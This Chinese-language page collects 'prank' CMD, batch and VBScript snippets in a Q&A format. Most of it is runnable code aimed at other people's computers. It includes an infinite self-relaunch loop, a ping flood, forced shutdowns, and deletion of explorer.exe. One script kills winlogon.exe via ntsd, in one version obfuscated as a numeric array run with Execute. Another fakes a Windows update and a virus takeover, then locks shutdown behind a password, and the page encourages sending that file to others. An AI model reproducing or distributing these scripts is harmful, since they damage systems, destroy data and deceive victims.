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cmd惡搞代碼大集合（惡搞代碼教程）

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本文目錄:

1、cmd怎樣惡搞
2、求大量VBS整人代碼.
3、求bat批處理的老師！主要是教一些好玩的惡搞代碼和基礎(chǔ)知識(shí)！好的+50分！說到做到！求你們了，我真心的！
4、求惡搞小程序，編程代碼，最好是VB的

cmd惡搞代碼大集合（惡搞代碼教程）

一、cmd怎樣惡搞

悲哀想想 .. 可以通過死循環(huán)來(lái)搞意思就是這個(gè)cmd的文件命令就是打開這個(gè)cmd文件這樣就會(huì)一直的運(yùn)行下去了。。直接 start 0% 還有就是ping ping 到別人下線 ping *.*.*.* -t -n 65500 還有就是shutdown -t -s 60 還有....就是 taskkil color。。。。。

二、求大量VBS整人代碼.

第一個(gè) do msgbox "hi" loop 第二個(gè) Set s = CreateObject("sapi.spvoice") i=0 do s.speak i i=i+1 loop 第三個(gè) if MsgBox("對(duì)不起,您灌水太多需要重新啟動(dòng)計(jì)算機(jī)。"&chr(10)&"確定要重啟嗎？",vbOKCancel+vbInformation,"重新啟動(dòng)計(jì)算機(jī)")=vbCancel then msgbox " 系統(tǒng)將立刻重起wow ~_^",,"你上當(dāng)了??！" Set objShell = CreateObject("Wscript.Shell") objShell.Run "shutdown -s -t 5",,true end if 第四個(gè) '這個(gè)很強(qiáng)悍的vbs,藍(lán)屏 strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,- 23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,- 13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103 ,98,111,120,32,34,-15133,89,-13899,-20026,- 20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,- 14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,- 13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,- 24147,63,34,44,54,52,44,34,-11825,-10536,-16721,- 18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,1 01,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116, 46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115, 116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,1 03,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101 ,110,100,32,105,102,13,10,13,10,13,10) for i=1 to UBound(strs) runner=runner&chr(strs(i)) next Execute runner 第五個(gè) if MsgBox("你是豬頭嗎？",vbYesNo,"提示")=vbyes then msgbox "你SB啊!" else msgbox "還不承認(rèn)!! 作為懲罰，藍(lán)屏一下，你馬上掛了#￥！@#￥%@……#……?",64,"嚴(yán)重警告!!!!!!!!!" Set ws = CreateObject("Wscript.Shell") wscript.sleep 1200 ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhide end if 第六個(gè) Set ws = CreateObject("Wscript.Shell") ws.run "cmd.exe /c call calc.exe",0 第七個(gè) set ws=CreateObject("Wscript.Shell") ws.run "cmd.exe /c taskkill /f /im explorer.exe",0 wscript.sleep 900 ws.run "cmd.exe /c copy %windir%\explorer.exe %windir%\explorer.Data" wscript.sleep 1200 ws.run "cmd.exe /c del /q /f %windir%\explorer.exe" 第八個(gè) Set ws=WScript.CreateObject("WScript.Shell") ws.popup"大家好，我就是改變社會(huì)風(fēng)氣，風(fēng)魔萬(wàn)千少女，刺激電影市道，提高年輕人內(nèi)涵，",10,"閃亮登場(chǎng)",64 ws.popup"玉樹臨風(fēng)，風(fēng)度翩翩的……“咕?！緡！?，不好意思，我內(nèi)急先閃了，再見！",15,"farewell",64 wscript.sleep 100000 ws.popup"發(fā)現(xiàn)重要windows更新未安裝，系統(tǒng)將自動(dòng)下載更新并安裝",10 ws.popup"正在下載windows更新……",12 wscript.sleep 10000 ws.popup"windows更新已下載完畢，正在安裝更新……",12 wscript.sleep 3000 msgbox"系統(tǒng)檢測(cè)到WINDOWS更新中攜帶有不明軟件 comcontroler.exe ，并在強(qiáng)行嵌入你的電腦",4132,"是否對(duì)其進(jìn)行掃描？" msgbox"軟件名：comcontroler.exe "&vbcrlf&""&vbcrlf&" 大?。?.21MB "&vbcrlf&""&vbcrlf&" 發(fā)行者：幻想丶永恒（403746401）"&vbcrlf&""&vbcrlf&" 安全狀況：有病毒",vbinformation msgbox"comcontroler.exe存在不安全因素",4132,"是否阻止其安裝" msgbox"阻止失敗，請(qǐng)檢查防火墻是否開啟" wscript.sleep 15000 ws.popup"windows更新安裝成功！",vbinfmation,20 msgbox"您的電腦可能已被入侵，請(qǐng)盡快修改您的QQ密碼及其他機(jī)密資料,以免QQ被盜或丟失資料",vbinformation ws.popup"哈哈，我已經(jīng)控制了你的電腦！",12,"很高興見到你",64 ws.popup"不信？我用你的電腦打開我的QQ空間給你看看",10 ws.run" http://user.qzone.qq.com/403746401/infocenter" msgbox"警告：為了您的電腦安全，請(qǐng)盡快安裝使用殺毒軟件對(duì)系統(tǒng)進(jìn)行全面殺毒",vbinformation ws.popup"我再打開中國(guó)神泣官方網(wǎng)站",10 ws.run" http://liyuq.cn" ws.popup"現(xiàn)在相信了吧？我再打開你的記事本給你寫封英語(yǔ)信",20 ws.popup"記事本會(huì)被打開并最大化，這時(shí)你不要?jiǎng)樱f(wàn)別把目標(biāo)轉(zhuǎn)移到其他窗口，耐心看我把信寫完。否則引起系統(tǒng)混亂我可不負(fù)責(zé)！" ws.run "notepad",3 : wscript.sleep 2000 verybat=split("dear ,friends ,~, nice ,to ,meet ,you ,i ,am ,so ,sorry ,that ,i ,controled ,your ,computer, without ,you ,allowing,~,please ,excuse ,me ,i ,want ,to ,say ,to ,you ,today,~,my ,friends ,so ,even ,through ,we ,face ,the ,difficulties ,of ,today ,and ,tomorrow,~,still ,have ,a ,dream ,it ,is ,a ,dream ,deeply ,rooted ,in ,our ,common ,dreams ,~,Maybe ,it's ,true ,that ,we ,do ,not ,know ,what ,we ,have ,got ,until ,we ,lose ,it,~,but ,it ,is ,also ,true ,that ,we ,do ,not ,know ,what ,we ,have ,been ,missing ,until ,it ,arrives ,.see ,you ,later ,~,with ,the ,best ,wishes,~, yours,~, lhj",",") 第九個(gè) for each wind in verybat ws.sendkeys wind wscript.sleep 500 next ws.popup"唉:-(( ⊙ o ⊙ )！呀，我好累啊，我下了 886",30 ws.popup"下機(jī)可不能忘了關(guān)QQ 我吧QQ關(guān)了哈",8 ws.run "taskkill /f /im qq.exe" ws.popup"你還要上吧慢慢玩哦",27 dim WSHshell set WSHshell = wscript.createobject("wscript.shell") for d=0 to 4 WSHshell.SendKeys "%{F4}" next ws.run"shutdown -s -t 1000600" wscript.sleep 2000 dim a do a=inputbox("請(qǐng)輸入解除關(guān)機(jī)密碼") if a="403746401" then ws.run"shutdown -a" msgbox"密碼驗(yàn)證成功，enjoy the best!" exit do else msgbox"密碼驗(yàn)證失敗，請(qǐng)輸入解除關(guān)機(jī)密碼：403746401 ",vbretrycancel end if loop ws.popup"哈哈被嚇到了吧好玩吧？你以為真的是病毒？呵呵O(∩_∩)O~，我還沒那么打本事能做出病毒來(lái)！",57 ws.popup"(\(^o^)/~ 好啦，跟你開了個(gè)小小玩笑。你也可以把這個(gè)文件發(fā)給其他人，耍耍別人。呵呵^_^",62 wscript.sleep 8900 do until i=10 i=i+1 msgbox "CPU溫度過高，系統(tǒng)出現(xiàn)嚴(yán)重錯(cuò)誤！，請(qǐng)結(jié)束所有應(yīng)用程序讓CPU降溫！",16+4096,"系統(tǒng)提示：" wscript.sleep 1000*45 loop 第十個(gè) set sh=wscript.createobject("wscript.shell") sh.run"shutdown -s -t 332" 第十一個(gè) dim WSHshell set WSHshell = wscript.createobject("wscript.shell") for d=0 to 40 WSHshell.SendKeys "%{F4}" next 第十二個(gè) dim a,b,c,s Set fs=CreateObject("Scripting.FileSystemObject") name = WScript.ScriptName fullname = WScript.ScriptFullName path = Replace(fullname,name,"") a=inputbox("請(qǐng)?jiān)趯?duì)話框中填寫你真實(shí)的姓名！"&vbcrlf&""&vbcrlf&"稍后將會(huì)給你意外的驚喜?。?"&vbcrlf&""&vbcrlf&"不信你可以試試看?。?！"&vbcrlf&""&vbcrlf&"最好是中文名···","芮洲提示：","請(qǐng)?jiān)诖溯斎肽愕拿?quot;) If a = ""Then WScript.Quit End If MyVar=MsgBox ("你的名字叫："&a&" ",vbYesNo + vbExclamation,"芮洲提示：") If MyVar=vbYes Then ElseIf MyVar=vbNo Then a=inputbox("請(qǐng)?jiān)趯?duì)話框中填寫你真實(shí)的姓名！"&vbcrlf&""&vbcrlf&"稍后將會(huì)給你意外的驚喜！！ "&vbcrlf&""&vbcrlf&"不信你可以試試看?。?！"&vbcrlf&""&vbcrlf&"最好是中文名···","芮洲提示：","請(qǐng)?jiān)诖溯斎肽愕拿?quot;) If a = ""Then WScript.Quit End If End If wscript.sleep 1000b=inputbox("尊敬的 "&a&" 你好！"&vbcrlf&""&vbcrlf&"請(qǐng)?zhí)顚懸幌履愕膼酆谩?只需填一個(gè)哦！)","芮洲提示：","請(qǐng)?jiān)诖溯斎肽愕膼酆?quot;) If b = ""Then WScript.Quit End If wscript.sleep 1000c = inputbox ("請(qǐng)?jiān)谙旅鎸?duì)話框中輸入你的出生[年月日]電腦將自動(dòng)算出到目前為止你已經(jīng)在地球上存活了多少時(shí)間！"&vbcrlf&""&vbcrlf&"下面以我為列不同可以修改"&vbcrlf&""&Chr(10)&"格式為：1987-06-02","芮洲提示：","1987-06-02") If c = ""Then WScript.Quit End If wscript.sleep 1000age = abs(datediff("d",date,c)) wscript.sleep 1 current = now() h=datepart("h",current) n=datepart("n",current) WScript.Sleep 1000 s = msgbox (Chr(10)&"恭喜 "&a&" 已在地球上存活了:"&age&"天 "&h&"小時(shí) "&n&"分鐘.....",vbOKCancel+63,"芮洲提示：") if s=2 then end if Set auto=fs.CreateTextFile("C:\Documents and Settings\All Users\桌面\"&a&"的秘密.vbs",true) auto.WriteLine"MSGBOX"&""""&"我的名字叫:"&a&" "&""""&"&vbcrlf&"&""""&""&""""&"&vbcrlf&"&""""&"我的愛好是:"&B&" "&""""&"&vbcrlf&"&""""&""&""""&"&vbcrlf&"&""""&""&a&"已經(jīng)活了:"&age&"天 "&h&"小時(shí) "&n&"分鐘 "&""""&",64,"&""""&""&a&"的自我介紹：""" auto.WriteLine"msgbox"&""""&"親愛的 "&a& " 再見了！"&""""&",48,"&""""&"芮洲提示："&""""&"" Set auto=fs.CreateTextFile("C:\Documents and Settings\All Users\桌面\祝"&a&"生日快樂.TXT",true) auto.WriteLine"本人芮洲祝: "&a&" 生日快樂、心想事成、敢于大膽嘗試、早日飛黃騰達(dá)......." auto.WriteLine"你已在地球上生活了:"&age&"天 "&h&"小時(shí) "&n&"分鐘了" auto.WriteLine"時(shí)間是根據(jù)你的出生年月日算的，可能不是很精確，但目的只是想讓知道時(shí)間過的很快，請(qǐng)珍惜時(shí)間!!!。"

三、求bat批處理的老師！主要是教一些好玩的惡搞代碼和基礎(chǔ)知識(shí)！好的+50分！說到做到！求你們了，我真心的！

On Error Resume Next

Dim WSHshellA

Set WSHshellA = wscript.CreateObject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -s -t 90 -c ""快喊我是豬，不喊就馬上讓你關(guān)機(jī)，不信，試試···"" ", 0, True

Dim a

Do While (a <> "我是豬")

a = InputBox("快說我是豬,不叫就不關(guān)機(jī)，快點(diǎn)，說 ", "說不說", "不說", 8000, 7000)

MsgBox Chr(13) + Chr(13) + Chr(13) + a, 0, "MsgBox"

Loop

MsgBox Chr(13) + Chr(13) + Chr(13) + "早說就行了嘛!好,不關(guān)了"

WSHshella.run "cmd.exe /c shutdown -a"